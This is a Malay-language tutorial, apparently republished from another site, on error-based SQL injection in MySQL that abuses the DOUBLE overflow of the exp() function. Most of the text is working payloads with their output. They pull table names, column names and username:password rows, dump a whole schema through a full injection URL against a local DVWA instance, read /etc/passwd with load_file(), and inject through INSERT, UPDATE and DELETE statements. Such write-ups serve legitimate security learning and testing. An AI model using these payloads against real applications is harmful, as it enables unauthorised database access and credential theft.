Cara menggunakan exp untuk suntikan ralat SQL

WBOY
Lepaskan: 2023-05-12 10:16:12
ke hadapan
1709 orang telah melayarinya

Gambaran Keseluruhan Pengenalan 0x01

Editor menemui satu lagi limpahan data Berganda dalam MySQL. Apabila kita mendapat fungsi dalam MySQL, editor lebih berminat dengan fungsi matematik Ia juga harus mengandungi beberapa jenis data untuk menyimpan nilai. Jadi editor berlari untuk menguji untuk melihat fungsi mana yang akan menyebabkan ralat limpahan. Kemudian editor mendapati bahawa apabila nilai yang lebih besar daripada 709 diluluskan, fungsi exp() akan menyebabkan ralat limpahan.

Cara menggunakan exp untuk suntikan ralat SQL

<p>mysql> select exp(709);<br>+-----------------------+<br>| exp(709)              |<br>+-----------------------+<br>| 8.218407461554972e307 |<br>+-----------------------+<br>1 row in set (0.00 sec)</p><p>mysql> select exp(710);<br>ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'</p>
Salin selepas log masuk

Dalam MySQL, exp mempunyai fungsi bertentangan ln dan log Untuk memberikan pengenalan ringkas, kedua-dua log dan ln mengembalikan logaritma dengan e sebagai asas, lihat persamaan. :

Cara menggunakan exp untuk suntikan ralat SQL
Cara menggunakan exp untuk suntikan ralat SQL
<p>mysql> select log(15);<br>+------------------+<br>| log(15)          |<br>+------------------+<br>| 2.70805020110221 |<br>+------------------+<br>1 row in set (0.00 sec)</p><p><br>mysql> select ln(15);<br>+------------------+<br>| ln(15)           |<br>+------------------+<br>| 2.70805020110221 |<br>+------------------+<br>1 row in set (0.00 sec)</p>
Salin selepas log masuk

Fungsi eksponen ialah fungsi songsang bagi fungsi logaritma, exp() ialah fungsi logaritma dengan e sebagai asas , Seperti persamaan:

Cara menggunakan exp untuk suntikan ralat SQL
mysql> select exp(2.70805020110221);
+-----------------------+
| exp(2.70805020110221) |
+-----------------------+
|                    15 |
+-----------------------+
1 row in set (0.00 sec)
Salin selepas log masuk

Suntikan 0x02

Apabila melibatkan suntikan, kami menggunakan pertanyaan negatif untuk menyebabkan "GANDA nilai berada di luar julat" ralat. Seperti yang dinyatakan dalam catatan blog penulis sebelum ini, penyongsangan bitwise 0 akan mengembalikan "18446744073709551615".

<p>mysql> select ~0;<br>+----------------------+<br>| ~0                   |<br>+----------------------+<br>| 18446744073709551615 |<br>+----------------------+<br>1 row in set (0.00 sec)</p><p><br>mysql> select ~(select version());<br>+----------------------+<br>| ~(select version())  |<br>+----------------------+<br>| 18446744073709551610 |<br>+----------------------+<br>1 row in set, 1 warning (0.00 sec)</p>
Salin selepas log masuk

Kami mencipta ralat limpahan BERGANDA melalui penolakan subkueri dan bitwise, dan menggunakan ini untuk menyuntik data.

>`exp(~(select*from(select user())x))`       mysql> select exp(~(select*from(select user())x));      ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
Salin selepas log masuk

0x03 Inject data

Dapatkan nama jadual:

select exp(~(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x));
Salin selepas log masuk

Dapatkan nama lajur:

select exp(~(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x));
Salin selepas log masuk

Dapatkan data:

select exp(~ (select*from(select concat_ws(':',id, username, password) from users limit 0,1)x));
Salin selepas log masuk

0x04 Semalaman

Pertanyaan ini boleh membuang semua jadual dan lajur daripada konteks semasa. Kami juga boleh membuang keseluruhan pangkalan data, tetapi kerana kami mengekstrak melalui ralat, ia akan mengembalikan hasil yang sangat sedikit.

exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x))   http://localhost/dvwa/vulnerabilities/sqli/?id=1' or exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x))-- -&Submit=Submit#
Salin selepas log masuk
Cara menggunakan exp untuk suntikan ralat SQL

0x05 Baca fail

Anda boleh membaca fail melalui fungsi load_file(), tetapi pengarang mendapati bahawa terdapat adalah sekatan 13 baris, pernyataan ini juga boleh digunakan dalam suntikan limpahan BIGINT.

select exp(~(select*from(select load_file('/etc/passwd'))a));
Salin selepas log masuk
Cara menggunakan exp untuk suntikan ralat SQL

Perhatikan bahawa anda tidak boleh menulis pada fail kerana ralat ini hanya menulis 0.

mysql> select exp(~(select*from(select 'hello')a)) into outfile 'C:/out.txt';  ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'hello' from dual)))'       # type C:\out.txt  0
Salin selepas log masuk

Suntikan 0x06 dalam Sisipan

Ikuti sahaja langkah

mysql> insert into users (id, username, password) values (2, '' ^ exp(~(select*from(select user())x)), 'Eyre');  ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
Salin selepas log masuk

Pertanyaan DIOS juga boleh digunakan untuk semua penyata sisipan, kemas kini dan padam.

mysql> insert into users (id, username, password) values (2, '' | exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)), 'Eyre');  ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select '000  newdb::users::id  newdb::users::username  newdb::users::password' from dual)))'
Salin selepas log masuk

Suntikan 0x07 dalam Kemas Kini

mysql> update users set password='Peter' ^ exp(~(select*from(select user())x)) where id=4;  ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
Salin selepas log masuk

Suntikan 0x08 dalam Padam

mysql> delete from users where id='1' | exp(~(select*from(select user())x));  ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
Salin selepas log masuk

Sama seperti suntikan BIGINT, suntikan exp sebelum ini Juga boleh digunakan untuk MySQL5.5.5 dan ke atas. Versi sebelumnya "senyap" tentang situasi ini.

mysql> select version();  +---------------------+  | version()           |  +---------------------+  | 5.0.45-community-nt |  +---------------------+  1 row in set (0.00 sec)     mysql> select exp(710);  +----------+  | exp(710) |  +----------+  |   1.#INF |  +----------+  1 row in set (0.00 sec)     mysql> select exp(~0);  +---------+  | exp(~0) |  +---------+  |  1.#INF |  +---------+  1 row in set (0.00 sec)
Salin selepas log masuk

Mungkin ada fungsi lain yang akan menghasilkan ralat seperti ini.

Atas ialah kandungan terperinci Cara menggunakan exp untuk suntikan ralat SQL. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

Label berkaitan:
sumber:yisu.com
Kenyataan Laman Web ini
Kandungan artikel ini disumbangkan secara sukarela oleh netizen, dan hak cipta adalah milik pengarang asal. Laman web ini tidak memikul tanggungjawab undang-undang yang sepadan. Jika anda menemui sebarang kandungan yang disyaki plagiarisme atau pelanggaran, sila hubungi admin@php.cn
Tutorial Popular
Lagi>
Muat turun terkini
Lagi>
kesan web
Kod sumber laman web
Bahan laman web
Templat hujung hadapan